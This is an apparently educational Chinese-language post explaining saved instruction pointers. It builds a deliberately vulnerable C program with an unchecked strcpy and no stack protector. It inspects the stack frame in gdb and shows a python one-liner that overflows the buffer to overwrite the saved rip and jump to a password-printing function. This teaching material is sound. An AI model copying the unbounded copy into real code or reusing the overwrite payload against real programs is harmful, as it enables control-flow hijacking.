指令指针通常是微处理器上的寄存器(内存),32位系统每次增加4(4字节),64位系统每次增加8(即8字节),以便指向下一条指令。
当程序进入函数时,保存的指令指针(ip/rip/eip)是返回地址,即函数在终止后应跳回的地址。
从书中所说的来看,每个内存地址都有一个字节,每个字节都有一个内存地址。
那似乎是一个8位计算机,而这并不是我们通常遇到的情况。例如,我们看一个特定的程序:
#include <stdio.h>
#include <string.h>
char * pwd = "pwd0";
void print_my_pwd() {
printf("your pwd is: %s\n", pwd);
}
int check_pwd(char * uname, char * upwd) {
char name[8];
strcpy(name, uname);
if (strcmp(pwd, upwd)) {
printf("non authorized\n");
return 1;
}
printf("authorized\n");
return 0;
}
int main(int argc, char ** argv) {
check_pwd(argv[1], argv[2]);
return 0;
}
我可以使用gdb构建并检查它。
$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12 strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
called by frame at 0x7fffffffd6f0
source language c.
Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
Saved registers:
rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
从上面可以看到,saved rip
(指令指针)位于0x7fffffffd6c8
,其值为0x5555555547ef
(它所在的位置和它的值之间有重要的区别)。我可以故意溢出程序,用我知道的其他值来覆盖它:
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
现在我知道
name
和
rip
之间的距离(不是值,而是它们的位置):0x7fffffffd6c8 - 0x7fffffffd6b8 = 16。因此,我将16个字节写入
name
的位置,以便我将写入
rip
的值,我所写的是
print_my_pwd
的位置,即
UUUUG:
并且反向,因为它是小端计算机。
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$
从你看到的,输入导致了溢出并覆盖了指令指针的值,并导致指令指针跳转到打印密码的函数位置。
在现实生活中不要编写这样的代码,但希望这有助于理解当您不检查输入的边界时它是如何工作和不工作的。